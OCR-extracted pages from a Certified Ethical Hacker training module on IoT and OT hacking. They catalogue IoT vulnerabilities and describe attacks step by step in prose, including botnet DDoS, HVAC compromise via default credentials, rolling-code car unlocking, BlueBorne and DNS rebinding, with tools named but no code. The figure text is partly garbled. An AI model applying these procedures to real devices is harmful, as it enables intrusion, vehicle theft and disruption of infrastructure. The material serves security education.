Usually security measuresinclude custom bootloaders
that prevent the attacker from enteringsingle user
mode, butthatcanalsobe bypassed.

Outof date versions of busybox, openssl, ssh, web

servers, efc. https://owasp.org |
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Vulnerability

Attack Surface

Description

1. Username
Enumeration

Administrative Interface
Device Web Interface
Cloud Interface

Mobile Application

= Ability to collect a set of valid
usernames by interacting with the
authentication mechanism

i

Weak Passwords

Administrative Interface
Device Web Interface
Cloud Interface

Mobile Application

= Ability to set account passwords to
“1234” or “123456”, for example

= Usage of pre-programmed default
passwords

3. Account Lockout

Administrative Interface
Device Web Interface
Cloud Interface

Mobile Application

= Ability to continue sending
authentication attempts after 3-5
failed login attempts

>

Unencrypted
Services

Device Network Services

= Network services are not properly
encrypted to prevent eavesdropping
or tampering by attackers
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5. Two-factor
Authentication

Administrative Interface
Cloud Web Interface
Mobile Application

Lack of two-factor authentication
mechanisms such as a security token
or fingerprint scanner

6. Poorly
Implemented
Encryption

Device Network Services

Encryption is implemented; however,
it is improperly configured or is not
being properly updated, e.g., using
SSL v2

7. Update Sent
Without
Encryption

Update Mechanism

Updates are transmitted over the
network without using TLS or
encrypting the update file itself

8. Update Location
Writable

Update Mechanism

Storage location for update files is
world writable, which can allow
firmware to be modified and
distributed to all users

9. Denial of Service

Device Network Services

Service can be attacked in a way that
denies service to that service or the
entire device

10. Removal of
Storage Media

Device Physical Interfaces

Ability to physically remove the
storage media from the device

11. No Manual
Update
Mechanism

Update Mechanism

No ability to manually force an update
check for the device

12. Missing Update
Mechanism

Update Mechanism

No ability to update the device

13. Firmware
Version Display
and/or Last
Update Date

Device Firmware

Current firmware version is not
displayed and/or the date of last
update is not displayed

14. Firmware and
Storage
Extraction

JTAG/SWD Interface
In-Situ Dumping

Intercepting an Over-the-

Air (OTA) Update
Downloading from the
Manufacturer’s Web
Page

eMMC Tapping

Unsoldering the SPI
Flash/eMMC Chip and
Reading It in an Adapter

Firmware contains a lot of useful
information, like source code and
binaries of running services, preset
passwords, and SSH keys
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15. Manipulating
the Code
Execution Flow
of the Device

JTAG/SWD Interface

Side-Channel Attacks like
Glitching

= With the help of a JTAG adapter and
GNU debugger, we can modify the
execution of firmware in the device
and bypass almost all software-based
security controls

» Side-channel attacks can also modify
the execution flow or can be used to
leak interesting information from the
device

16. Obtaining

Serial Interfaces

= By connecting to a serial interface, we
can obtain full console access to a
device

= Usually, security measures include

Console Access (SPI/UART)
custom bootloaders that prevent the
attacker from entering single user
mode, but that can also be bypassed

17. Insecure Third- _
Part Software * (Qut-of-date versions of BusyBox,
Y OpenSSL, SSH, web servers, etc.
Components
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IoT Threats C

J loT devices on the Internet have very few security protection mechanisms against various emerging threats

J Attackers often exploit these poorly protected devices on the Internet to cause physical damage to the network, to
wiretap the communication, and to launch disruptive attacks such as DDoS

IoT Threats
DDoS Attack Sybil Attack Client Impersonation
Attack on HVAC Systems Exploit Kits SQL Injection Attack

Rolling Code Attack Man-in-the-Middle Attack SDR-Based Attack

BlueBorne Attack Replay Attack Fault Injection Attack

Jamming Attack Forged Malicious Device Network Pivoting

Remote Access using Backdoor Side Channel Attack DNS Rebinding Attack

Remote Access using Telnet

Ransomware jﬁ-:ll
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IoT Threats

loT devices have very few security protection mechanisms against various emerging threats.
These devices can be infected by malware or malicious code at an alarming rate. Attackers
often exploit these poorly protected devices on the Internet to cause physical damage to the
network, to wiretap the communication, and also to launch disruptive attacks such as DDoS.

Listed below are some types of loT attack:

= DDoS Attack: An attacker converts the devices into an army of botnets to target a
specific system or server, making it unavailable to provide services.

= Attack on HVAC Systems: HVAC system vulnerabilities are exploited by attackers to
steal confidential information such as user credentials and to perform further attacks on
the target network.

* Rolling Code Attack: An attacker jams and sniffs the signal to obtain the code
transferred to a vehicle’s receiver; the attacker then uses it to unlock and steal the
vehicle.

= BlueBorne Attack: Attackers connect to nearby devices and exploit the vulnerabilities of
the Bluetooth protocol to compromise the device.

= Jamming Attack: An attacker jams the signal between the sender and the receiver with
malicious traffic that makes the two endpoints unable to communicate with each other.

= Remote Access using Backdoor: Attackers exploit vulnerabilities in the 10T device to
turn it into a backdoor and gain access to an organization’s network.
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= Remote Access using Telnet: Attackers exploit an open telnet port to obtain information
that is shared between the connected devices, including their software and hardware
models.

= Sybil Attack: An attacker uses multiple forged identities to create a strong illusion of
traffic congestion, affecting communication between neighboring nodes and networks.

= Exploit Kits: A malicious script is used by the attackers to exploit poorly patched
vulnerabilities in an loT device.

= Man-in-the-Middle Attack: An attacker pretends to be a legitimate sender who
intercepts all the communication between the sender and receiver and hijacks the
communication.

= Replay Attack: Attackers intercept legitimate messages from valid communication and
continuously send the intercepted message to the target device to perform a denial-of-
service attack or crash the target device.

"= Forged Malicious Device: Attackers replace authentic loT devices with malicious devices
if they have physical access to the network.

= Side-Channel Attack: Attackers perform side-channel attacks by extracting information
about encryption keys by observing the emission of signals, i.e., “side channels”, from
loT devices.

* Ransomware Attack: Ransomware is a type of malware that uses encryption to block a
user’s access to his/her device either by locking the screen or by locking the user’s files.

* (Client Impersonation: An attacker masquerades as a legitimate smart device/server
using a malicious device and compromises an loT client device by impersonating it, to
perform unauthorized activities or access sensitive information on behalf of the
legitimate client.

= SQL Injection Attack: Attackers perform SQL injection attacks by exploiting
vulnerabilities in the mobile or web applications used to control the 10T devices, to gain
access to the devices and perform further attacks on them.

= SDR-Based Attack: Using a software-based radio communication system, an attacker
can examine the communication signals passing through the IoT network and can send
spam messages to the interconnected devices.

* Fault Injection Attack: A fault injection attack occurs when an attacker tries to introduce
fault behavior in an loT device, with the goal of exploiting these faults to compromise
the security of that device.

= Network Pivoting: An attacker uses a malicious smart device to connect and gain access
to a closed server, and then uses that connection to pivot other devices and network
connections to the server to steal sensitive information.

= DNS Rebinding Attack: DNS rebinding is a process of obtaining access to a victim’s
router using a malicious JavaScript code injected on a web page.
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Server

Eavesdropping

Devices

Hacking IoT Devices: General Scenario

Hacking IoT Devices: General Scenario

H ) O

Fake Server

Fake Devices
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The loT includes different technologies such as embedded sensors, microprocessors, and power
management devices. Security consideration changes from device to device and application to
application. The greater the amount of confidential data we send across the network, the
greater the risk of data theft, data manipulation, data tampering, and attacks on routers and

SErvers.

Improper security infrastructure might lead to the following unwanted scenarios:

= An eavesdropper intercepts communication between two endpoints and discovers the
confidential information that is sent across. He/she can misuse that information for

his/her own benefit.

= A fake server can be used to send unwanted commands to trigger unplanned events.
For example, some physical resources (water, coal, oil, electricity) could be sent to an

unknown and unplanned destination, etc.

= A fake device can inject a malicious script into the system to make it work as instructed
by the device. This may cause the system to behave inappropriately and dangerously.
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Figure 18.8: General |oT device hacking scenarios
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Enlii-u’!' Esacnl  Hacker
Compromised loT
J Attackerinitiatesthe Devices (botnets)
attack by exploiting the = .
vulnerabilities in the O == Attacker injects
devices and installing a Attackergains -~ malware into loT
.o : remote access to 2, devices to turn
mEI|ICIOU5 Sﬂftwa rein the vulnerable devices ..-_;.'i:-. them into bots

their operating systems

J Multiple infected loT
devices are referred to

as an Army of Botnets

~ :o = Attacker uses

« = " e command and

..... control center
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----- to launch attack

d The targetisattacked | (ERNEPP -=====x====
with a large volume of v
requests from multiple i Command and
loT devices present in Control Center
different locations
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DDoS Attack

A distributed denial-of-service (DDoS) attack is an attack in which multiple infected systems are
used to bombard a single online system or service, rendering the server useless, slow, or
unavailable for a legitimate user for a short period of time. The attacker initiates the attack by
first exploiting vulnerabilities in devices and then installing malicious software in their operating
systems. These multiple compromised devices are referred to as an army of botnets.

Once an attacker decides on his/her target, he/she instructs the botnets or zombie agents to
send requests to the target server that he/she is attacking. The target is attacked by a large
volume of requests from multiple 0T devices present in different locations. As a result, the
target system is flooded with more requests than it can handle. Therefore, it either goes offline,
suffers a loss in performance, or shuts down completely.

Given below are the steps followed by an attacker to perform a DDoS attack on IoT devices:
= Attacker gains remote access to vulnerable devices

= After gaining access, he/she injects malware into the 10T devices to turn them into
botnets

= Attacker uses a command and control center to instruct botnets and to send multiple
requests to the target server, resulting in a DDoS attack

* Target server goes offline and becomes unavailable to process any further requests
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Figure 18.9: DDoS attack on IoT devices
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Exploit HVAC
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'lﬂ-nlh-rh-r

Cortetund

J Many organizations use Internet-connected heating, ventilation, and air conditioning (HVAC) systems without implementing
security mechanisms; this gives attackers a gateway to hack corporate systems

J HVAC systems have many security vulnerabilities that are exploited by attackers to steal login credentials, gain access to the
HVAC system, and perform further attack on the organization’s network

Attacker tries default

Attacker using EE==EEsEn B user credentials
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Exploit HVAC

Many organizations use Internet-connected heating, ventilation, and air conditioning (HVAC)
systems without implementing security mechanisms, giving attackers a gateway through which
to hack corporate systems. HVAC systems have many security vulnerabilities that are exploited
by attackers to steal login credentials, gain access to the HVAC system, and perform further
attacks on the organization’s network. HVAC systems are generally connected to the networks
of various industries, government sectors, hospitals, etc. These systems provide remote access
rights to HVAC vendors and third parties to support their remote administration, such as
remotely monitoring energy consumption and temperatures in various places. In addition,
many HVAC companies provide common login names and passwords to different organizations.
Attackers take advantage of this to obtain remote access to corporate networks and steal
confidential information from organizations.

Steps followed by an attacker to exploit HVAC systems:

Attacker uses Shodan (https://www.shodan.io) and searches for vulnerable industrial
control systems (ICSs)

Based on the vulnerable ICSs found, the attacker then searches for default user
credentials using online tools such as https://www.defpass.com

Attacker uses default user credentials to attempt to access the ICS

After gaining access to the ICS, the attacker attempts to gain access to the HVAC system
remotely through the ICS

After gaining access to the HVAC system, an attacker can control the temperature from
the HVAC or carry out other attacks on the local network

Module 18 Page 2805 Ethical Hacking and Countermeasures Copyright © by EC-Council

All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures

loT and OT Hacking

Attacker using
Shodan searches for
vulnerable ICS systems

sssssssnsssssnannsnn

o

=

Attacker

«

Module 18 Page 2806

377

| SHE LT

AT 153 5

.
-
Thiae Tl

& RouterQs router configuratson page [

(nwr iy i e

Organization
Network

Mt Stricns Kelg FBck of vl yd Mbre COMMBCN] 10 T It CRBcx bull o on

bl 0

IIIII

Attacker controls the temperature
from HVAC or carries out other
attacks on local network

{2/

Attacker tries default
user credentials
to access the
ICS system

..................>

Figure 18.10: Exploiting HVAC system

Exam 312-50 Certified Ethical Hacker

iIRidium
Server

LOGIN

B Beviee Passsened

Attacker gains access to the
HVAC system through ICS

Ethical Hacking and Countermeasures Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
loT and OT Hacking

Rolling Code Attack C |E H
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Rolling Code Attack

Most smart vehicles use smart locking systems, which include an RF signal transmitted in the
form of code from a modern key fob to lock or unlock the vehicle. Here, the code sent to the
vehicle is only used once and is different for every other use, which means if a vehicle receives
the same code again, it rejects it.

The code that locks or unlocks a car or garage is called a rolling code or hopping code. It is used
in a keyless entry system to prevent replay attacks. An eavesdropper can capture the code
transmitted and later use it to unlock the garage or vehicle.

To obtain the rolling code, the attacker thwarts the transmission of a signal from the key fob to
the receiver in the vehicle. This attack is performed using a jamming device that simultaneously
jams the signal and sniffs the code, and the attacker later uses that code to unlock the vehicle
or the garage door.

For example, given below are the steps followed by an attacker to perform a rolling-code
attack:

= Victim presses car remote button and tries to unlock the car

= Attacker uses a jammer that jams the car’s reception of the rolling code sent by the
victim and simultaneously sniffs the first code

= The car does not unlock; victim tries again by sending a second code
= Attacker sniffs the second code

" Onthe second attempt by the victim, the attacker forwards the first code, which unlocks
the car
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" The recorded second code is used later by the attacker to unlock and steal the vehicle

Attackers can make use of tools such as rfcat-rolljam and RFCrack to perform this attack.
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Figure 18.11: Illustration of rolling-code attack
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BlueBorne Attack :ELI

1

C

Cortetund

) A BlueBorne attackis performed on Bluetooth connections to gain access and take full control of the target device

. Itis a collection of various techniques based on the known vulnerabilities of the Bluetooth protocol

. BlueBorne is compatible with all software versions and does not require any user interaction, precondition, or
configuration, except that the Bluetooth should be activated

) After gaining access to a device, the attacker can penetrate any corporate network using that device to steal
critical information about the organization and spread malware to nearby devices
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BlueBorne Attack

A BlueBorne attack is performed on Bluetooth connections to gain access to and take full
control of the target device. Attackers connect to nearby devices and exploit the vulnerabilities
of the Bluetooth protocol to compromise the devices. BlueBorne is a collection of various
techniques based on the known vulnerabilities of the Bluetooth protocol. This attack can be
performed on multiple 10T devices, including those running operating systems such as Android,
Linux, Windows, and older versions of iOS. In all operating systems, the Bluetooth process has
high privileges. After gaining access to one device, an attacker can penetrate any corporate
network using that device to steal critical information from the organization and spread
malware to nearby devices.

BlueBorne is compatible with all software versions and does not require any user interaction,
precondition, or configuration except for Bluetooth being active. This attack establishes a
connection with the target Bluetooth-enabled device without even pairing with the device.
Using this attack, an attacker can discover Bluetooth-enabled devices, even though they are not
in an active discovery mode. Once the attacker identifies any nearby device, he/she tries to
extract the MAC address and OS information to perform further exploitation on the target OS.
Based on the vulnerabilities present in the Bluetooth protocol, attackers can even perform
remote code execution and man-in-the-middle attacks on the target device. This attack can be
performed on various IoT devices, such as smart TVs, phones, watches, car audio systems,
printers, etc.
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Steps to perform BlueBorne attack:

= Attacker discovers active Bluetooth-enabled devices around him/her; all Bluetooth-
enabled devices can be located even if they are not in discoverable mod

= After locating any nearby device, the attacker obtains the MAC address of the device
= Now, the attacker sends continuous probes to the target device to determine the OS

= After identifying the OS, the attacker exploits the vulnerabilities in the Bluetooth
protocol to gain access to the target device

= Now the attacker can perform remote code execution or a man-in-the-middle attack
and take full control of the device
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Figure 18.12: lllustration of BlueBorne attack

Module 18 Page 2810 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures
loT and OT Hacking

Exam 312-50 Certified Ethical Hacker

Jamming Attack

J Jamming is a type of

attackin which the
communications between
wireless 10T devices are
jammed so that they can
be compromised

An attacker transmits
radio signals randomly
with the same frequency
as the sensor nodes for
communication

As a result, the network
gets jammed, which
disables the endpoints
from sending or receiving

any messages

Jamming Attack
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|
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Jamming is a type of attack in which the communications between wireless |oT devices are
jammed in order to compromise them. During this attack, an overwhelming volume of
malicious traffic is sent, which results in a DoS attack to authorized users, thus obstructing
legitimate traffic and making the endpoints unable to communicate with each other. Every
wireless device and the wireless network are prone to this attack.

Attackers use special types of hardware and transmit radio signals randomly with the frequency
at which the target device is communicating. The signals or the traffic generated by the
jamming device appear as noise to wireless devices, which causes them to withhold their
transmissions until the noise subsides. This results in a DoS attack that jams the network, and
devices are unable to send or receive any data.
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Figure 18.13: lllustration of jamming attack
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Hacking Smart Grid/Industrial Devices:
Remote Access using Backdoor o

|lﬂ-nlh-rh-r

C

. The attacker gathers basic information about the target organization using various social engineering techniques
J The attacker sends phishing emails to the employees with malicious attachments
J When an employee opens the email and clicks on the attachment, a backdoor is automatically installed on the target system

J Using the backdoor, the attacker gains access to the private network of the organization
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Hacking Smart Grid/Industrial Devices: Remote Access using Backdoor

Attackers gather basic information about the target organization using various social
engineering techniques. After obtaining information such as the email IDs of employees, an
attacker sends phishing emails to the employees with a malicious attachment (e.g., a Word
document). When an employee of the target organization opens the email and clicks on the
attachment, a backdoor is automatically installed in the target system. Using the backdoor, the
attacker gains access to the private network of the organization. For example, consider an
attack on a power grid. In such an attack, after gaining access to the private network, an
attacker can access the Supervisory Control and Data Acquisition (SCADA) network that controls
the grid. After gaining access to the SCADA network, the attacker replaces the legitimate
firmware with malicious firmware to process commands sent by the attacker. Finally, the
attacker can disable the power supply to any particular place by sending malicious commands
to the substation control systems from the SCADA network.

Attacker sends an email to Worker opens the legitimate .
o . . : Attacker gains access to
workers of an organization with | looking email and downloads Download the
= : the local network of the
a malicious file attached the attachment file?

" o lllllllllllllllllllllllllll } '9 lllllllllllllllllllllllllll }

L T e L P LT EERLEEEE 9 D> Yes ‘ No
This malicious file, installs a backdoor Organizatinn

Attacker for the attacker

Netugnrk

o

Attacker disables the
power supplies, leaving

eorncsnnnnnscacsnsansennans o
_ Attack enters the SCADA

and disables the UPS

Victim HVAC

Figure 18.14: Hacking a smart grid to gain remote access
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Replay Attack

J The attacker segregates the
command sequence and injects it
into the loT network

SDR-Based Attacks on IoT

h

Cryptanalysis Attack

- The attacker obtains the specific - The attacker uses the same The attacker obtains information
frequency used for sharing procedure as that followed ina about the target device from the
information between connected replay attack, along with reverse device’s specifications
devices and captures the original engineering of the protocol to
data when a command is initiated capture the original signal The attacker then uses a multimeter
by these devices _ _ to investigate the chipset and mark

- The attacker must be skilled in

cryptography, communication
theory, and modulation schemes to
perform this attack

J The attacker uses software defined radio (SDR) to examine the communication signals in the loT networkand sends
spam content or texts to the interconnected devices

J This software-based radio system can also change the transmission and reception of signals between the devices,
based on their software implementations

Reconnaissance Attack

some identifications such as ground
pins to discover the product ID and
other information
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SDR-Based Attacks on IoT

Software-defined radio (SDR) is a method of generating radio communications and
implementing signal processing using software (or firmware), instead of the usual method of
using hardware. Using this software-based radio communication system (self-created SDRs), an
attacker can examine the communication signals in 10T networks and send spam content or
texts to interconnected devices. The SDR system can also change the transmission and
reception of signals between devices, depending on their software implementations. The attack
can be carried out on both full-duplex (two-way communication) and half-duplex (one-way
communication) transmission modes.

Types of SDR-based attacks performed by attackers to break into an loT environment:
= Replay Attack

This is the major attack described in |IoT threats, in which attackers can capture the
command sequence from connected devices and use it for later retransmission.

An attacker can perform the below steps to launch a replay attack:

o Attacker targets the specified frequency that is required to share information
between devices

o After obtaining the frequency, the attacker can capture the original data when the
commands are initiated by the connected devices

o Once the original data is collected, the attacker uses free tools such as URH
(Universal Radio Hacker) to segregate the command sequence

o Attacker then injects the segregated command sequence on the same frequency
into the 10T network, which replays the commands or captured signals of the devices
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Cryptanalysis Attack

A cryptanalysis attack is another type of substantial attack on 10T devices. In this attack,
the procedure used by the attacker is the same as in a replay attack except for one
additional step, i.e., reverse-engineering the protocol to obtain the original signal. To
accomplish this task, the attacker must be skilled in cryptography, communication
theory, and modulation scheme (to remove noises from the signal). This attack is
practically not as easy as a replay attack to launch, yet the attacker can try to breach
security using various tools and procedures.

Reconnaissance Attack

This is an addition to a cryptanalysis attack. In this attack, information can be obtained
from the device’s specifications. All 10T devices that run through RF signals must be
certified by their country’s authority, and then they officially disclose an analysis report
of the device. Designers often prevent this kind of analysis by obscuring any
identification marks from the chipset. Therefore, the attacker makes use of multimeters
to investigate the chipset and mark out some identifications, such as ground pins, to
discover the product ID and compare it with the published report.
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. The attacker gains access over thelocal loT devices when a user from the network visits the malicious page created and
distributed by the attackerinthe form of an advertisement or any other attractive means

C

Identifying and Accessing Local IoT Devices

Cortetund

Discovering or Identifying the Local IoT Devices Accessing the Local IoT Devices using DNS Rebinding

The attacker checksif the malicious code is performing DNS rebinding

‘ o The attacker obtainsthe local IP address (using malicious code)
in all the discovered devices, using DNS rebinding tools such as Jagen

Once the DNSrebinding is successfully implemented, the attacker can
command and control the local |oT devices

e Active devices respond with a reset packet andinactive devices
returna timeout

The attacker obtains private information suchas UIDs and BSSIDs
of local access points

‘ 9 The attacker requestsall the available devicesin the network I

| o The attacker detectsall available devices based on their responses
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An attacker gains access over local 10T devices when a user from the network visits a malicious
page, i.e., created and distributed by an attacker in the form of an advertisement or any
attractive means. Once the victim visits the harmful website, a malicious JavaScript code inside
the page begins the process.

Attackers generally implement two methods to take control of local IoT devices, as discussed
below:

Discovering or Identifying the Local IoT Devices

The first attempt the attacker makes is to identify target devices, then obtain information about
all the connected devices.

To do this, the attacker follows the steps given below:
1. Attacker obtains local IP Address (using the malicious code)
2. Attacker requests all the available devices in the network

3. Active devices respond with reset packet and request for inactive devices would return
timeout

4. Attacker detects all available devices based on their responses
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Figure 18.15: Discovering the local |oT devices

Accessing the Local 10T Devices using DNS Rebinding

DNS rebinding is a process of gaining access over the victim’s router using a malicious JavaScript
code injected on a web page. After this, an attacker can assault any device activated using the
default password. After identifying all the connected devices and their information in the
network, the attacker exploits further to gain complete access to the local interconnected
devices.

Now that the attacker has the information on IoT devices in the network, he/she follows the
steps given below:

1. Checks if the malicious code is performing DNS rebinding in all discovered devices, using
DNS rebinding tools such as Jagen

2. Once the DNS rebinding is successfully implemented, the attacker can command and
control the local IoT devices

3. The attacker can further extract private information, such as the UIDs and BSSIDs of
local access points that are useful in finding the geo-location of the target devices

.
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Figure 18.16: DNS rebinding attack on local 10T devices

After successfully launching this attack, the attacker could bypass the security and gain access
to applications running on the local 10T devices. Further, the attacker can launch random audio
or video files on different browsers of the devices.
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Fault Injection Attacks C

) Fault injection attacks, also known as Perturbation attacks, occur when a perpetrator injects any faulty or
malicious program into the system to compromise the system security

J Fault injection attacks can be both invasive and non-invasive in nature

Types of Fault Injection Attacks

. Optical, Electro Magnetic Fault Injection (EMFI), J Power/Clock/Reset Glitching

Body Bias Injection (BBI
ye pection (881) © Attackers inject faults or glitches into the power

© Attackers inject faults into the device by using supply and clock network of the chip
projecting lasers and electromagnetic pulses

J Frequency/Voltage Tampering J Temperature Attacks
@ Attackers tamper with the operating conditions, @ Attackers alter the temperature for operating the
modify the level of the power supply and/or chip, affecting the whole operating environment

alter the clock frequency of the chip
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Fault Injection Attacks

Fault injection attacks, also known as perturbation attacks, occur when a perpetrator injects a
faulty or malicious program into a system to compromise the system security. These faulty
programs can be induced using various attack techniques. Fault injection attacks can be both
invasive and non-invasive in nature.

In non-invasive attacks, the attacker should be available very near to the chip to tamper with
the default program or data and gather sensitive information. In an invasive attack, the chip
surface should be visible to the attacker and can be operated physically.

Discussed below are different types of fault injection attack:
* Optical, Electromagnetic Fault Injection (EMFI), Body Bias Injection (BBI)

The main objective of these attacks is to inject faults into devices by projecting lasers
and electromagnetic pulses that are used in analog blocks such as random number
generators (RNGs) and for applying high-voltage pulses. These faults are then used by
the attackers in compromising the system security.

= Power/Clock/Reset Glitching

These types of attacks occur when faults or glitches are injected into the power supply
that can be used for remote execution, also causing the skipping of key instructions.
Faults can also be injected into the clock network used for delivering a synchronized
signal across the chip.

* Frequency/Voltage Tampering

In these attacks, the attackers try to tamper with the operating conditions of a chip, and
they can also modify the level of the power supply and alter the clock frequency of the
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chip. The intention of the attackers is to introduce fault behavior into the chip to
compromise the device security.

= Temperature Attacks

Attackers alter the temperature for operating the chip, thereby changing the whole
operating environment. This attack can be operated in non-nominal conditions.

After injecting faults using various techniques, now attackers can exploit the fault behavior of
the device to perform various attacks to steal sensitive information or interrupt the normal
operation of the device.
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) J The attacker uses multiple forged identities to create a strong illusion of traffic congestion, affecting
Sybil Attack o . .
communication between neighboring nodes and networks
Exploit Kits The attacker uses malicious script to exploit poorly patched vulnerabilities in an loT device
Man-in-the- The attacker pretends to be a legitimate sender who intercepts all the communication between the
Middle Attack sender and receiver, and hijacks the communication
Replay Aftack The attacker intercepts legitimate messages from a valid communication and continuously sends the

Forged Malicious
Device

Side-Channel

intercepted message to the target device to perform a denial-of-service attack or crash the target device

The attacker replaces authentic loT devices with malicious devices, if they have physical access to the
network
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The attacker extracts information about encryption keys by observing the emission of signals i.e. "side

Attack channels" from loT devices
Ransomware - Ransomware is a type of malware that uses encryption to block the user’s access to his/her device either
Attack by locking the screen or by locking the user’s files
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Other IoT Attacks
= Sybil Attack
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Vehicular communications play an important role in safe transportation by exchanging
important safety messages and traffic updates, but even vehicular ad-hoc networks
(VANETs) are not safe from the attackers’ reach. An attacker uses multiple forged
identities to create a strong illusion of traffic congestion, affecting communication
between neighboring nodes and networks. Sybil attacks in VANETSs, which have a great
impact on a network’s performance, are regarded as the most serious attacks. This type
of attack impairs the potential applications in VANETS by creating a strong illusion of
traffic congestion. To perform this type of attack, a vehicle is declared to be present in
different locations at the same time.

For example, let a node that spoofs itself as other nodes and launches an attack be
called Sybil node “X.” It is created by forming a new identity or stealing an existing legal
identity. In proper communication, the other nodes “A” and “B” should only
communicate with each other. However, in this scenario, node “X” intervenes as a
known internal node and attacks the network. Node “X” tries to communicate with the
normal neighboring nodes (“A” and “B”) using multiple forged identities. Thus, it creates
significant chaos and security risks in the network.

Exploit Kits

An exploit kit is a malicious script used by attackers to exploit poorly patched
vulnerabilities in an loT device. These kits are designed in such a way that whenever
there are new vulnerabilities, new ways of exploitation and add-on functions will be
added to the device automatically. After detecting vulnerabilities, these kits send the
exact exploit to install malware, which can execute and corrupt the device. These exploit
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kits pose a dangerous threat as they go undetected in IoT environments affecting l1oT
devices and infrastructure, forcing them to behave unexpectedly.

"  Man-in-the-Middle Attack

In @ man-in-the-middle attack, the attacker pretends to be a legitimate sender,
intercepts all the communication between the sender and receiver, and hijacks the
communication. loT devices are generally connected to a network and act as a gateway
to all sensitive and personal information. Therefore, any malicious user can pose to be a
legitimate sender and send malicious requests to the device to gain control of the
device. loT devices such as IP-enabled cameras, routers, modems, and Internet
gateways have cryptographic vulnerabilities that lead to man-in-the-middle attacks.

= Replay Attack

In a replay attack, attackers intercept legitimate messages from a valid communication
and continuously send the intercepted message to the target device to perform a DoS
attack or delay it to manipulate the message or crash the target device. For example,
consider a replay attack that regenerates the signal used to control IoT devices as like a
front door. The front door uses a lock that is opened using simple infrared signals.
Essentially, the attacker records the infrared modulation pattern, reproduces the signal,
and performs a replay attack on the door to unlock it.

= Forged Malicious Device

Attackers replace authentic IoT devices with malicious devices if they have physical
access to the network. It is very difficult to discover such attacks because the forged
device resembles the legitimate one. The forged devices contain backdoors that are
used by the attackers to perform various malicious activities in the network.

=  Side-Channel Attack

Attackers perform a side-channel attack by extracting information about encryption
keys by observing the emission of signals, i.e., “side channels” from loT devices. All
devices emit these signals that provide information about the internal computing
process, either via power consumption or electromagnetic emanations. Attackers
carefully observe side-channel emissions to acquire all possible knowledge about
varying power consumption so they can access and duplicate the encryption key non-
evasively. The main advantage of this attack is that it is easy and requires less time to
access encryption keys. Information leaked from the vulnerable devices helps the
attackers to exploit other side-channel techniques, such as performing power-
consuming attacks and time-based attacks.

= Ransomware Attack

Ransomware is a type of malware that uses encryption to block a user’s access to
his/her device either by locking the screen or by locking a user’s files, and it stays
blocked until a ransom is paid that allows a user to regain access to his/her device.

Module 18 Page 2821 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker

loT and OT Hacking

A user can encounter this problem in numerous ways. It can be mistakenly downloaded
with some other malware, software, or files, and sometimes through malicious
advertisements (malvertisements).

Discuss

ed below are the phases of ransomware:

o Phase 1: Victim receives an email from the attacker that appears to be from a
legitimate sender. This email contains an attachment of a malicious file.

o Phase 2:

User opens the mail and clicks on the malicious file. Malware is downloaded and
launches legitimate child processes such as PowerShell, Vssadmin encryption
mechanism, or cmd.exe. As a result, the device becomes connected to an
attacker’s command and control (C&C) server.

The personal files on the victim’s device are encrypted.

o Phase 3: Notification of ransomware is delivered to the victim’s device, and he/she
is asked to pay a ransom in the form of money or bitcoin to gain access to his/her
files.
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Buildings

Energy/
Industrial

Consumer
and
Home

IoT Attacks in Different Sectors

Access Control: Getting access to the device

MITM Attack: Listening to the communication between two endpoints

DoS Attack: Flooding data streams with communication to deplete system re sources
Eavesdropping: Collecting exchanged messages

Control Hijacking Attack: Changingnormal flowcontrol ofthe loT device firmware byinjectingmalicious code
Reverse Engineering: Analyzingthe device firmware to get sensitive data

Rube Goldberg Attack: Chained attack designed to exploit industrial IoT device weaknesses

Access Control: Getting physical orremote access to the device

Reconnaissance: Engageswith the target systemto obtaininformation

DoS Attack: Makingservice unavailable for legitimate users by flooding the system with communication requests

Eavesdropping: Collecting the transmitted information
Rube Goldberg Attack: Chained attack designed to exploit weaknessesof industrialloTdevice

Spear Phishing Attack: Targets specificindividuals or groups within an organization

BlueBugging: Exploitingvulnerabilities in old devices’ firmware and s pying phone calls

DoS Attack: Makingservice unavailable for legitimate users by flooding the system with communication requests
Access Control: Getting access to the device

MITM Attack: Listening to the communication between two endpoints

Skill Squatting Attack:Exploiting the voice-based commands indigital assistants such as Alexa and Google Home
Formjacking Attack:Stealing credit card details and personal information from payment forms

Loss of confidentiality a nd availability

Loss of privacy and data confidentiality

Loss of data availability
Loss of data confidentiality

Loss of data availability

Loss of privacy and data confidentiality
Loss of privacy and data confidentiality
Loss of confidentiality a nd availability
Loss of privacy and data confidentiality

Loss of data availability

Loss of data confidentiality
Loss of privacy and data confidentiality

Loss of privacy and data confidentiality
Loss of privacy and data confidentiality
Loss of data availability

Loss of confidentiality a nd availability
Loss of privacy and data confidentiality

Loss of privacy and data confidentiality
Loss of privacyanddata
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[oT Attacks in Different Sectors (Cont’d)

Corfilind | Eohmnl Hacker

Type of Attacks Possible Consequences

Signal Jamming Attack: Electromagneticinterference orinterdiction usingthe same frequency-band wirelesssystems Loss of data availability

Access Control: Getting physical or remote access to the device

DoS Attack: Makingservice unavailable for legitimate users by flooding the system with communication requests
Eavesdropping: Collecting exchanged messages

Sinkhole Attack: Compromised nodes tryto attract the traffic by advertising the fake route

Sybil Attack: Re putation system s subverted by forging multiple i dentities

Bluesnarfing Attack: Gets illegal accessto Bluetooth devices for re trievinginformation

ZED (ZigBee End-Device) Sabotage Attack: Damages the ZED by sending a signal periodically to wake up the object to

drainits battery

MITM Attack: Listening to the communication between two endpoints

Impersonation Attack: Attackersuccessfullyassumes identity of the other legitimate user

Sybil Attack: Re putation systemis subverted by forging multiple i dentities

GPS Spoofing: Deceive a GPS receiver by broadcastingincorrect GPS signals

DoS Attack: Makingservice unavailable for legitimate users by flooding the system with communication requests
Eavesdropping: Collecting exchanged messages

Access Control: Getting access to the device

Wormhole Attack: Captures packets fromone loation and send it to another network

Black Hole Attack: Router discards packets instead ofrelayingthem

Bluesnarfing Attack: Gets accessillegally to Bluetooth devicesfor retrieving information

ZED (ZigBee End-Device) Sabotage Attack: Damages the ZED by sending a signal periodically to wake up the object to

drainits battery

Healthcare
and
Life Science
Transportation /
Automobile /
Security and Public Safety

